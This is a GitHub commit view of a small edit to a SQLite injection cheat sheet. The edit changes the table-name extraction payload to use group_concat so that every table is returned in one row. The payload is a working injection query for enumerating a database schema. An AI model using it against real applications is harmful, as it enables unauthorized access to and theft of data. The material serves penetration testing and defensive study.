Update SQLite Injection.md

add "group_concat" so that all tables can be extracted once when the query only returns the first item
This commit is contained in:
KeoOp 2023-07-16 23:44:00 +08:00 committed by GitHub
parent cd19bb9409
commit d5f85f13d5
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema
## Integer/String based - Extract table name
```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
```sql